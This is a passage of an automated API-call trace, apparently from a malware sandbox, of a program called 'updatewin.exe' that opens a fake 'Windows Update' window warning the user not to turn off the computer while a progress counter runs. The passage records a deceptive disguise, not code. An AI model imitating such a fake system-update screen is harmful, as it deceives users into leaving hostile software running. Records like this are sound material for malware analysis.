¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d928, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0060.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18e1dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿøz\\\x82\x18å\x18", lpUsedDefaultChar=0x0) returned 256 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x80) returned 0x25b0e0 [0060.566] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x413ba8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe")) returned 0x5e [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xc6) returned 0x25d360 [0060.566] RtlInitializeSListHead (in: ListHead=0x413ad0 | out: ListHead=0x413ad0) [0060.566] GetLastError () returned 0x0 [0060.566] GetEnvironmentStringsW () returned 0x25d430* [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xaca) returned 0x25df08 [0060.566] FreeEnvironmentStringsW (penv=0x25d430) returned 1 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x98) returned 0x25afc8 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3e) returned 0x25d430 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6c) returned 0x25d478 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6e) returned 0x25d4f0 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x78) returned 0x241270 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x62) returned 0x25d568 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x2452c0 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x25d5d8 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x28) returned 0x25d628 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x25d0a8 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4a) returned 0x25d658 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x72) returned 0x2412f0 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x2452f8 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x245330 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1c) returned 0x25d0d0 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xd2) returned 0x25d6b0 [0060.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x7c) returned 0x25d790 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x25d818 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3a) returned 0x25e9f8 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x90) returned 0x25d858 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x25d8f0 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x245368 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x25d920 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x25d960 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x25d9b0 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x25ea40 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x82) returned 0x25da10 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x2453a0 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x25d0f8 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2c) returned 0x2453d8 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x25daa0 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x25db00 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x245410 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x25ea88 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x25db60 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x25dbc0 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x245448 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8c) returned 0x25dbf0 [0060.567] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x25df08 | out: hHeap=0x230000) returned 1 [0060.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x25dc88 [0060.568] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0060.568] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402116) returned 0x404e69 [0060.574] GetStartupInfoW (in: lpStartupInfo=0x18e548 | out: lpStartupInfo=0x18e548*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0060.574] InitCommonControlsEx (picce=0x18e564) returned 1 [0060.574] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x401b1 [0060.576] LoadStringW (in: hInstance=0x400000, uID=0x67, lpBuffer=0x414378, cchBufferMax=100 | out: lpBuffer="Windows Update") returned 0xe [0060.576] LoadStringW (in: hInstance=0x400000, uID=0x6d, lpBuffer=0x4142b0, cchBufferMax=100 | out: lpBuffer="WINDOWSUPDATE") returned 0xd [0060.576] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x401b1 [0060.576] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0060.576] LoadIconW (hInstance=0x400000, lpIconName=0x6c) returned 0x501b3 [0060.577] RegisterClassExW (param_1=0x18e510) returned 0xc13c [0060.577] GetDesktopWindow () returned 0x10010 [0060.577] MonitorFromWindow (hwnd=0x10010, dwFlags=0x2) returned 0x10001 [0060.577] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x18e510 | out: lpmi=0x18e510) returned 1 [0060.577] CreateWindowExW (dwExStyle=0x0, lpClassName="WINDOWSUPDATE", lpWindowName="Windows Update", dwStyle=0x0, X=1002, Y=600, nWidth=418, nHeight=240, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x701e4 [0060.587] NtdllDefWindowProc_W () returned 0x0 [0060.587] NtdllDefWindowProc_W () returned 0x1 [0060.594] NtdllDefWindowProc_W () returned 0x0 [0060.595] CreateDialogParamW (hInstance=0x400000, lpTemplateName=0x65, hWndParent=0x701e4, lpDialogFunc=0x401360, dwInitParam=0x0) returned 0x601a6 [0060.630] NtdllDefWindowProc_W () returned 0x0 [0060.632] NtdllDefWindowProc_W () returned 0x0 [0060.632] NtdllDefWindowProc_W () returned 0x0 [0062.058] GetClientRect (in: hWnd=0x601a6, lpRect=0x18d358 | out: lpRect=0x18d358) returned 1 [0062.058] GetDlgItem (hDlg=0x601a6, nIDDlgItem=1000) returned 0x301ac [0062.058] MoveWindow (hWnd=0x301ac, X=295, Y=167, nWidth=95, nHeight=23, bRepaint=1) returned 1 [0062.059] GetDlgItem (hDlg=0x601a6, nIDDlgItem=1001) returned 0x301b8 [0062.059] MoveWindow (hWnd=0x301b8, X=95, Y=134, nWidth=225, nHeight=16, bRepaint=1) returned 1 [0062.059] SendMessageW (hWnd=0x301b8, Msg=0x401, wParam=0x0, lParam=0x640000) returned 0x640000 [0062.059] SendMessageW (hWnd=0x301b8, Msg=0x402, wParam=0x4, lParam=0x0) returned 0x0 [0062.061] timeGetTime () returned 0x114892d [0062.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401690, lpParameter=0x601a6, dwCreationFlags=0x0, lpThreadId=0x4142a4 | out: lpThreadId=0x4142a4*=0x928) returned 0xbc [0062.062] ShowWindow (hWnd=0x601a6, nCmdShow=5) returned 0 [0062.062] GetClientRect (in: hWnd=0x701e4, lpRect=0x18df10 | out: lpRect=0x18df10) returned 1 [0062.062] MoveWindow (hWnd=0x601a6, X=0, Y=0, nWidth=412, nHeight=212, bRepaint=1) returned 1 [0062.062] NtdllDefWindowProc_W () returned 0x0 [0062.063] SetWindowPos (hWnd=0x701e4, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0062.063] NtdllDefWindowProc_W () returned 0x0 [0062.063] NtdllDefWindowProc_W () returned 0x0 [0062.064] NtdllDefWindowProc_W () returned 0x0 [0062.064] NtdllDefWindowProc_W () returned 0x1 [0062.091] NtdllDefWindowProc_W () returned 0x0 [0062.190] NtdllDefWindowProc_W () returned 0x0 [0062.191] NtdllDefWindowProc_W () returned 0x0 [0062.192] NtdllDefWindowProc_W () returned 0x0 [0062.192] ShowWindow (hWnd=0x701e4, nCmdShow=1) returned 0 [0062.192] NtdllDefWindowProc_W () returned 0x0 [0062.192] NtdllDefWindowProc_W () returned 0x0 [0062.192] NtdllDefWindowProc_W () returned 0x0 [0062.194] NtdllDefWindowProc_W () returned 0x1 [0062.194] NtdllDefWindowProc_W () returned 0x0 [0062.195] NtdllDefWindowProc_W () returned 0x0 [0062.196] NtdllDefWindowProc_W () returned 0x0 [0062.197] NtdllDefWindowProc_W () returned 0x1 [0062.197] NtdllDefWindowProc_W () returned 0x0 [0062.197] NtdllDefWindowProc_W () returned 0x0 [0062.197] UpdateWindow (hWnd=0x701e4) returned 1 [0062.197] BeginPaint (in: hWnd=0x701e4, lpPaint=0x18e328 | out: lpPaint=0x18e328) returned 0xd01082d [0062.197] EndPaint (hWnd=0x701e4, lpPaint=0x18e328) returned 1 [0062.198] BeginPaint (in: hWnd=0x601a6, lpPaint=0x18da10 | out: lpPaint=0x18da10) returned 0xc01027f [0062.198] CreateSolidBrush (color=0x5b3ef) returned 0x15100847 [0062.198] FillRect (hDC=0xc01027f, lprc=0x18da00, hbr=0x15100847) returned 1 [0062.200] DeleteObject (ho=0x15100847) returned 1 [0062.200] DrawIcon (hDC=0xc01027f, X=7, Y=7, hIcon=0x401b1) returned 1 [0062.200] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x8c0a080f [0062.200] SelectObject (hdc=0xc01027f, h=0x8c0a080f) returned 0x18a002e [0062.200] SetBkMode (hdc=0xc01027f, mode=1) returned 2 [0062.200] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0062.200] TextOutW (hdc=0xc01027f, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0062.206] SelectObject (hdc=0xc01027f, h=0x18a002e) returned 0x8c0a080f [0062.206] CreateSolidBrush (color=0xffffff) returned 0x16100847 [0062.206] FillRect (hDC=0xc01027f, lprc=0x18d9f0, hbr=0x16100847) returned 1 [0062.206] DeleteObject (ho=0x16100847) returned 1 [0062.206] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x80a084b [0062.212] SelectObject (hdc=0xc01027f, h=0x80a084b) returned 0x18a002e [0062.212] SetBkMode (hdc=0xc01027f, mode=1) returned 1 [0062.212] lstrlenW (lpString="Getting your update ready.") returned 26 [0062.212] TextOutW (hdc=0xc01027f, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0062.212] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0062.212] TextOutW (hdc=0xc01027f, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0062.213] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0062.213] TextOutW (hdc=0xc01027f, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0062.213] SelectObject (hdc=0xc01027f, h=0x18a002e) returned 0x80a084b [0062.213] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xa0a084e [0062.214] SelectObject (hdc=0xc01027f, h=0xa0a084e) returned 0x18a002e [0062.214] SetBkMode (hdc=0xc01027f, mode=1) returned 1 [0062.214] SetTextAlign (hdc=0xc01027f, align=0x6) returned 0x0 [0062.214] wsprintfW (in: param_1=0x18da50, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0062.214] lstrlenW (lpString="Percent complete: 4%") returned 20 [0062.215] TextOutW (hdc=0xc01027f, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0062.218] SelectObject (hdc=0xc01027f, h=0x18a002e) returned 0xa0a084e [0062.218] EndPaint (hWnd=0x601a6, lpPaint=0x18da10) returned 1 [0062.240] LoadAcceleratorsW (hInstance=0x400000, lpTableName=0x6d) returned 0x101d9 [0062.240] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.240] TranslateAcceleratorW (hWnd=0x0, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.240] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.240] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.240] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.240] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.240] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.240] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.240] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.240] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.240] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.240] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.241] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.281] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.281] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.281] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.281] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.328] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.328] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.328] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.328] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.328] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.328] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.328] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.329] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.375] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.375] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.375] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.375] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.422] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.422] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.422] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.422] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.468] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.469] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.469] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.469] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.469] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.469] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.469] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.470] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.500] TranslateAcceleratorW (hWnd=0x201d2, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.500] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.500] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.500] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.515] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.515] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.515] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.515] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.562] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.562] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.562] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.563] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.563] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0062.563] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.563] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.564] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.980] NtdllDefWindowProc_W () returned 0x0 [0062.981] NtdllDefWindowProc_W () returned 0x0 [0062.981] NtdllDefWindowProc_W () returned 0x0 [0063.061] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.061] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.061] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.061] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.108] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.108] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.108] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.108] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.108] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.108] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.108] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.109] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.155] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.155] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.155] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.155] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.155] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.155] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.155] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.156] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.245] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.245] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.245] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.245] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.245] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.245] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.246] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.246] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.276] NtdllDefWindowProc_W () returned 0x1 [0063.277] NtdllDefWindowProc_W () returned 0x0 [0063.277] NtdllDefWindowProc_W () returned 0x0 [0063.280] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.280] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.280] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.280] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.280] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.280] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.280] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.283] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.327] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.327] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.327] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.327] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, 